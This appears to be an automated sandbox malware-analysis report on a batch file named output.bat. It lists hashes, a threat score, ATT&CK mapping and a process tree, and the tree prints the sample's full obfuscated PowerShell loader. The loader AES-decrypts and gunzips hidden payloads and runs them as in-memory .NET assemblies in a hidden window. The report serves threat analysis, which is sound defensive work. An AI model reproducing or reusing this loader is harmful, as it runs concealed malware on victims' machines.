dfc981ff489e6ba91c43acceb32b3f5e518b001ac611742e32c828e09202e66b

General

Target

output.bat
Size

46KB
MD5

8962ec15efd02a1a96c54aac7878a620
SHA1

1c587e367111cf850bdda811e55c97076264c6a1
SHA256

dfc981ff489e6ba91c43acceb32b3f5e518b001ac611742e32c828e09202e66b
SHA512

5ab987b13a0b9ffc02020c9177e32e46350cd3ab6650954ba49a9de68fc56c353bee6a6cec1f1dc53f04123ea914c64cb5752ebd33c468cc9709bff31a3bee4b
SSDEEP

768:Mfh+sVMVei1JzM6VZS5mEF7Zn4sLzrZsuL6QZVt6DAmVeT3HaaXhk34Kra2:y1iLzMW4rFV4s9suLjZVg8qeTXacxKr3

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid	Process
2536	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.execmd.exe

description	pid	Process	procid_target
PID 1152 wrote to memory of 2400	1152	cmd.exe	31
PID 1152 wrote to memory of 2400	1152	cmd.exe	31
PID 1152 wrote to memory of 2400	1152	cmd.exe	31
PID 2400 wrote to memory of 2504	2400	cmd.exe	33
PID 2400 wrote to memory of 2504	2400	cmd.exe	33
PID 2400 wrote to memory of 2504	2400	cmd.exe	33
PID 2400 wrote to memory of 2536	2400	cmd.exe	34
PID 2400 wrote to memory of 2536	2400	cmd.exe	34
PID 2400 wrote to memory of 2536	2400	cmd.exe	34
PID 2400 wrote to memory of 2536	2400	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\output.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\output.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\output.bat';$NTFv='FrPqzeoPqzemBPqzeasPqzee6Pqze4SPqzetPqzeriPqzenPqzegPqze'.Replace('Pqze', ''),'EnBZWdtryBZWdPBZWdoinBZWdtBZWd'.Replace('BZWd', ''),'ROgtJeOgtJaOgtJdLOgtJiOgtJnOgtJeOgtJsOgtJ'.Replace('OgtJ', ''),'SJnWNplJnWNitJnWN'.Replace('JnWN', ''),'CouvlKpuvlKyuvlKTouvlK'.Replace('uvlK', ''),'LoJyLBaJyLBdJyLB'.Replace('JyLB', ''),'CrehuAKathuAKeDhuAKechuAKrhuAKypthuAKorhuAK'.Replace('huAK', ''),'MGcPeaGcPeinMGcPeodGcPeuGcPelGcPeeGcPe'.Replace('GcPe', ''),'ElkAHpekAHpmenkAHptAtkAHp'.Replace('kAHp', ''),'TraxAtMnsxAtMfxAtMoxAtMrmFxAtMixAtMnalxAtMBlxAtMoxAtMckxAtM'.Replace('xAtM', ''),'GexJcAtCxJcAurxJcArenxJcAtxJcAPrxJcAoxJcAcxJcAexJcAsxJcAsxJcA'.Replace('xJcA', ''),'InvsZZKosZZKkesZZK'.Replace('sZZK', ''),'DewnSWcownSWmpwnSWrwnSWeswnSWswnSW'.Replace('wnSW', ''),'CYAMzhYAMzangYAMzeYAMzExYAMztenYAMzsioYAMznYAMz'.Replace('YAMz', '');powershell -w hidden;function TUBbt($MBmkf){$MZmxd=[System.Security.Cryptography.Aes]::Create();$MZmxd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MZmxd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MZmxd.Key=[System.Convert]::($NTFv[0])('5ZE3qI9dMGt62SkKchIEdZFjOehLiufxwxgbD+17Q1k=');$MZmxd.IV=[System.Convert]::($NTFv[0])('NkxYly32CEIorbL5iaQQ4A==');$wvMTZ=$MZmxd.($NTFv[6])();$QtJva=$wvMTZ.($NTFv[9])($MBmkf,0,$MBmkf.Length);$wvMTZ.Dispose();$MZmxd.Dispose();$QtJva;}function ikosY($MBmkf){$kwoJC=New-Object System.IO.MemoryStream(,$MBmkf);$OASso=New-Object System.IO.MemoryStream;$ysOOg=New-Object System.IO.Compression.GZipStream($kwoJC,[IO.Compression.CompressionMode]::($NTFv[12]));$ysOOg.($NTFv[4])($OASso);$ysOOg.Dispose();$kwoJC.Dispose();$OASso.Dispose();$OASso.ToArray();}$JuvsJ=[System.IO.File]::($NTFv[2])([Console]::Title);$zwzsq=ikosY (TUBbt ([Convert]::($NTFv[0])([System.Linq.Enumerable]::($NTFv[8])($JuvsJ, 5).Substring(2))));$JbTah=ikosY (TUBbt ([Convert]::($NTFv[0])([System.Linq.Enumerable]::($NTFv[8])($JuvsJ, 6).Substring(2))));[System.Reflection.Assembly]::($NTFv[5])([byte[]]$JbTah).($NTFv[1]).($NTFv[11])($null,$null);[System.Reflection.Assembly]::($NTFv[5])([byte[]]$zwzsq).($NTFv[1]).($NTFv[11])($null,$null); "
    3⤵
    PID:2504
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2536-2-0x0000000074481000-0x0000000074482000-memory.dmp

Filesize
4KB

Download
memory/2536-3-0x0000000074480000-0x0000000074A2B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-4-0x0000000074480000-0x0000000074A2B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-5-0x0000000074480000-0x0000000074A2B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-6-0x0000000074480000-0x0000000074A2B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-7-0x0000000074480000-0x0000000074A2B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads